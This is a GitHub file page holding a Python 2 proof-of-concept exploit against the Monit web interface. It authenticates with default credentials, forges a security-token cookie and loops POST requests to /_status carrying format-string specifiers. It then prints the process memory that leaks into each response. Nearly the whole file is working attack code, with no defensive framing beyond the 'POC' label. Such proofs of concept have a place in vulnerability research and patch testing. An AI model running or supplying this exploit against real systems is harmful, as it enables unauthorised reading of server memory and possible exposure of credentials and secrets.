Permalink
Cannot retrieve contributors at this time
Name already in use
A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
exploits/unix/monit_buffer_overread.py /
Go to fileThis commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
40 lines (34 sloc)
1.38 KB
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python2 | |
| # -*- coding: utf-8 -*- | |
| import requests | |
| import argparse | |
| import base64 | |
| import socket | |
| import random | |
| from time import sleep | |
| parser = argparse.ArgumentParser(description='Example: ./monit_buffer_overread.py http://127.0.0.1:2812 -username admin -password monit') | |
| parser.add_argument('url', type=str, nargs=1, | |
| help='url to target') | |
| parser.add_argument('-username', type=str, nargs=1, default=['admin'], | |
| help='monit username, defaults to admin') | |
| parser.add_argument('-password', type=str, nargs=1, default=['monit'], | |
| help='monit password, defaults to monit') | |
| args = parser.parse_args() | |
| auth_header = 'Basic ' + base64.b64encode(args.username[0] + ':' + args.password[0]) | |
| headers = {'Authorization': auth_header, 'Cookie': 'securitytoken=a'} | |
| def generateData(): | |
| number = random.randint(1,60) | |
| payload = "aaa" + " %p" * number | |
| data = ('action=exec&service=' + payload + '&securitytoken=a') | |
| return data | |
| print("[x] POC will loop forever. Press CTRL-C to exit") | |
| sleep(2) | |
| while True: | |
| try: | |
| sleep(0.15) | |
| print("[*] Sending request") | |
| r = requests.post(args.url[0] + '/_status', headers=headers,data=generateData()) | |
| print("[*] Response contains: "+ r.content.split("aaa")[1].split("not found")[0]) | |
| except requests.exceptions.RequestException as e: | |
| print e | |
| exit(1) |